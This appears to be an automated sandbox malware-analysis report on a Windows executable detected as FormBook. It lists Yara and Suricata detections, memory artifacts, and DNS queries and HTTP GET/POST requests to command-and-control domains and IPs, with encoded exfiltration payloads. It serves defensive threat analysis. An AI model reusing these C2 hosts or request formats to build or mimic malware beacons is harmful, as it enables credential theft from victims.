Windows Analysis Report
Quote #270924.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.3984885805.0000000000800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272902332.0000000000C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2272128880.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3985113849.0000000002AE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3986045977.0000000002F20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2275425308.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3986013036.0000000002C50000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Quote #270924.exe

Joe Sandbox ML: detected

Source: Quote #270924.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: robocopy.pdb source: svchost.exe, 00000002.00000003.2241073869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2241073869.000000000083B000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985552449.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: HoiWfznxKU.exe, 00000003.00000000.2197455182.000000000057E000.00000002.00000001.01000000.00000004.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344151814.000000000057E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000002.00000003.2175621784.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2177443732.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.0000000003000000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3986503169.000000000495E000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2277774868.000000000460F000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3986503169.00000000047C0000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2275494698.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, svchost.exe, 00000002.00000003.2175621784.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2177443732.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2273408826.0000000003000000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, Robocopy.exe, 00000004.00000002.3986503169.000000000495E000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2277774868.000000000460F000.00000004.00000020.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3986503169.00000000047C0000.00000040.00001000.00020000.00000000.sdmp, Robocopy.exe, 00000004.00000003.2275494698.0000000002E2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: robocopy.pdbGCTL source: svchost.exe, 00000002.00000003.2241073869.000000000081A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2241073869.000000000083B000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000003.00000002.3985552449.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: Robocopy.exe, 00000004.00000002.3987313418.0000000004DEC000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002D35000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344639138.0000000002A0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2561116373.0000000006A0C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: Robocopy.exe, 00000004.00000002.3987313418.0000000004DEC000.00000004.10000000.00040000.00000000.sdmp, Robocopy.exe, 00000004.00000002.3985211901.0000000002D35000.00000004.00000020.00020000.00000000.sdmp, HoiWfznxKU.exe, 00000006.00000000.2344639138.0000000002A0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2561116373.0000000006A0C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\Robocopy.exe

Code function: 4_2_0081C8D0 FindFirstFileW,FindNextFileW,FindClose,

4_2_0081C8D0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi	2_2_0041928D
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4x nop then xor eax, eax	4_2_00809C00
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4x nop then pop edi	4_2_00815BEA
Source: C:\Windows\SysWOW64\Robocopy.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_046B04E8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Code function: 4x nop then mov ebx, 00000004h	7_2_000002D1067BC4E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63688 -> 65.21.196.90:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63716 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.5:63716 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63705 -> 172.67.165.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63707 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63700 -> 38.47.233.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63728 -> 208.91.197.39:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63727 -> 160.251.148.20:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63704 -> 172.67.165.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63706 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63719 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63722 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63708 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63703 -> 172.67.165.25:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63694 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63731 -> 208.91.197.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63712 -> 162.0.238.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63723 -> 160.251.148.20:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63713 -> 162.0.238.43:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63709 -> 208.91.197.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63699 -> 38.47.233.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63696 -> 38.47.233.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63726 -> 160.251.148.20:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63714 -> 162.0.238.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63730 -> 208.91.197.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63715 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63720 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63718 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63717 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63692 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63729 -> 208.91.197.39:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63693 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63702 -> 172.67.165.25:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63695 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63725 -> 160.251.148.20:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.5:63701 -> 38.47.233.19:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63711 -> 162.0.238.43:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.5:63721 -> 85.159.66.93:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.030003302.xyz

Source: Joe Sandbox View	IP Address: 162.0.238.43 162.0.238.43
Source: Joe Sandbox View	IP Address: 65.21.196.90 65.21.196.90

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: CP-ASDE CP-ASDE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: INTERQGMOInternetIncJP INTERQGMOInternetIncJP

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /1nuz/?Ah=39evZXa6m7baCAiDcr0ch6V4fD09WsXkaMbScS7vY88jTdTJUv9E9AetrBPXqBlycVnLEijqhZPiEuH/pw4Oq8ZNp7wpFj1U/P2B+qNM5mXkMr/9uw3rZ9uOJdcOYzpfEQ==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.030003302.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /974s/?Ah=woBqQkVhEnZr0PORhZ6z2TjABxOeyQlLpumkFgr+omNv0XEbVjbEhcV/qAVpymWGpDThRtO2eu+z9gp0JATUVQjZP0Y2t77DZFNVy7Otm7ne66vNCWn1tABYRqLOiyRBkA==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.searchgpt.homesAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /mkti/?6RGD=r8eHwnMpb2dxK&Ah=jnThCjOJiNX3HI/1X6ra8iqRT8LvO5Bl0cjrkRPRR4aUtJ5UnZH8goi0lUnBvvC66wXnOPoFvnQ+LE8o+1Q4j9xZYpeOMfjH2lF0fJzOXlNgjT3mfY10J4nKlD3uClfrXg== HTTP/1.1Host: www.2q63f.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /f66t/?Ah=wMNxngytVvT+xiDvhZKVBLBZglmuZQUCx/WcIyOXqUp4vIwezETUsTI6SXRinkgbo4oPfyScfq3TTLYR3fLN41mF5bem5ZFkurSKCCFsELulDfuy7v5fTUVM4J27kpDPZg==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.b5x7vk.agencyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /7kkb/?6RGD=r8eHwnMpb2dxK&Ah=Vuf7L1aATO5bukV8eQdUIEmIaPgQ1yOpdgGCLe1WZLTuWrNT4xutTpWyFskV9eTAAXQRhMy7Zgc6S7zaREH9Qt7yJDZ+mejpqMKnoLgUtbmjvcVg7/Biou/HjIkaZAov/Q== HTTP/1.1Host: www.martaschrimpf.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /3nd4/?Ah=wX8jjEADFIUNbB1fuwn27lCA5Ee2RiJ4qVOVM3qHbtn5VxkeI5MaAkn7o3WZs+Yr7x4eULr6m9MYlnr0WXfs3GrmtSbeGOpl3yeERPUVozEPpEyzLyJ+XoeluijW2G1r0A==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.tomtox.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /e55r/?6RGD=r8eHwnMpb2dxK&Ah=Zzgqh8Lsa2kOmONOeD/+wB3QPxQKiLO67pxSC7hPMpOG1Z1VfhXWq1/e6lRyRcxlhH3VBh1kivLC4EoU4HrmQnEQVHiNTiKoH2rx3XIqvsrry8gzD7/bBD8mRjNwheBxYg== HTTP/1.1Host: www.tracy.clubAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /zmf1/?Ah=wQgzSdKeo0kEfEOz4RbofRMggT2xbAKfRVneK/8vOxPjchK4g13SHjFeWQ1KQd6iPh0o+E7CiOJrL4NuVjgo/c0di4XWtbQHuM4tDDSwmQdaf4WdVMWT5U3p3+pOk6ad0A==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.sppsuperplast.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /bie8/?Ah=MA/0DFY0DiyH2olo7m8hVrrP5UH/jhcgcmWioqAK+793cplJM4qg3DyTQ66FMurZmF9Te+JpNl4zVYtM50IcS4zemXuWAdJhdKdflRI3BWRfqiAf3s5RU6wyOr9MBb+x+g==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.nojamaica.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Source: global traffic	HTTP traffic detected: GET /xf5b/?Ah=bUc8Ed0aZESOAy+KJaIejJlAhDqRJymtCfRMAnUAQR11I0sOX+AQaEFDTlraWU4+rT7gLfO5Dt9FKcAEmJO6tRh3wQ1OL/3vPyqK0hsKckbG/SsYmEPJIzY3hoX+M0Wr3w==&6RGD=r8eHwnMpb2dxK HTTP/1.1Host: www.alphaaistore.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile

Source: global traffic	DNS traffic detected: DNS query: www.030003302.xyz
Source: global traffic	DNS traffic detected: DNS query: www.popin.space
Source: global traffic	DNS traffic detected: DNS query: www.48vlu.shop
Source: global traffic	DNS traffic detected: DNS query: www.searchgpt.homes
Source: global traffic	DNS traffic detected: DNS query: www.2q63f.top
Source: global traffic	DNS traffic detected: DNS query: www.b5x7vk.agency
Source: global traffic	DNS traffic detected: DNS query: www.martaschrimpf.info
Source: global traffic	DNS traffic detected: DNS query: www.tomtox.top
Source: global traffic	DNS traffic detected: DNS query: www.tracy.club
Source: global traffic	DNS traffic detected: DNS query: www.sppsuperplast.online
Source: global traffic	DNS traffic detected: DNS query: www.nojamaica.net
Source: global traffic	DNS traffic detected: DNS query: www.alphaaistore.com

Source: unknown

HTTP traffic detected: POST /974s/ HTTP/1.1Host: www.searchgpt.homesAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brContent-Length: 203Content-Type: application/x-www-form-urlencodedCache-Control: max-age=0Connection: closeOrigin: http://www.searchgpt.homesReferer: http://www.searchgpt.homes/974s/User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 MobileData Raw: 41 68 3d 39 71 70 4b 54 52 46 74 4a 53 78 2b 30 63 69 6c 76 63 47 54 77 43 48 42 5a 79 66 4e 74 46 42 6b 6c 38 32 66 44 78 66 45 77 6e 6f 75 75 33 45 53 55 44 44 50 73 4f 6f 32 33 79 51 7a 31 32 57 39 72 41 2f 6d 45 75 76 49 62 65 6d 7a 34 52 64 4d 42 54 54 78 51 77 6d 37 4b 6e 30 46 69 5a 33 4e 47 58 4e 70 6c 35 6a 77 6a 34 62 62 7a 38 2f 44 45 78 71 5a 73 78 4d 35 4f 4b 4c 45 74 53 41 70 6e 69 33 33 45 6d 71 73 36 4d 38 66 65 66 31 55 4a 54 39 69 4a 56 65 6e 76 79 2b 54 45 6f 58 2b 6b 54 79 70 32 73 42 46 41 58 4a 32 4e 46 31 39 75 75 46 65 51 63 4c 2b 39 6d 50 78 32 2f 75 71 49 75 73 51 31 6c 77 3d Data Ascii: Ah=9qpKTRFtJSx+0cilvcGTwCHBZyfNtFBkl82fDxfEwnouu3ESUDDPsOo23yQz12W9rA/mEuvIbemz4RdMBTTxQwm7Kn0FiZ3NGXNpl5jwj4bbz8/DExqZsxM5OKLEtSApni33Emqs6M8fef1UJT9iJVenvy+TEoX+kTyp2sBFAXJ2NF19uuFeQcL+9mPx2/uqIusQ1lw=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Fri, 27 Sep 2024 15:29:46 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
